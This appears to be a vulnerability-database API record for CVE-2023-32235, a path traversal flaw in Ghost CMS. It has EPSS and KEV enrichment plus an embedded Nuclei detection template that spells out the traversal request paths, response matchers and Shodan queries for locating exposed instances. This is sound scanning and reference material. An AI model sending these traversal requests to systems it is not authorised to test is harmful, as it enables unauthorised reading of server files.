{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-32235/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-32235/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-32235/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-32235/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-32235/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-32235"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-32235"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.39078,
      "kev": false,
      "percentile": 0.9853
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-32235.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2023-32235\n\ninfo:\n  name: Ghost CMS < 5.42.1 - Path Traversal\n  author: j3ssie\n  severity: high\n  description: |\n    Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.\n  impact: |\n    An attacker can exploit this vulnerability to access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.\n  remediation: Fixed in version 5.42.1\n  reference:\n    - https://github.com/advisories/GHSA-wf7x-fh6w-34r6\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-32235\n    - https://github.com/TryGhost/Ghost/commit/378dd913aa8d0fd0da29b0ffced8884579598b0f\n    - https://github.com/TryGhost/Ghost/compare/v5.42.0...v5.42.1\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2023-32235\n    cwe-id: CWE-22\n    epss-score: 0.39078\n    epss-percentile: 0.9853\n    cpe: cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ghost\n    product: ghost\n    framework: node.js\n    shodan-query:\n      - http.component:\"Ghost\"\n      - http.component:\"ghost\"\n  tags: cve2023,cve,lfi,ghostcms,ghost,node.js,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/assets/built%2F..%2F..%2F/package.json\"\n      - \"{{BaseURL}}/assets/built%2F..%2F..%2F%E0%A4%A/package.json\"\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"name\"'\n          - '\"version\"'\n          - '\"ghost\"'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402200ff42c857aea29d6bd16b24a58e3eb0f4ebda696323d52a77540ed74a36047e502202b7395dc10d987bd95ea57a8d8359d7f2e10493605f98096ae20583ae7f2c239:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-32235"
}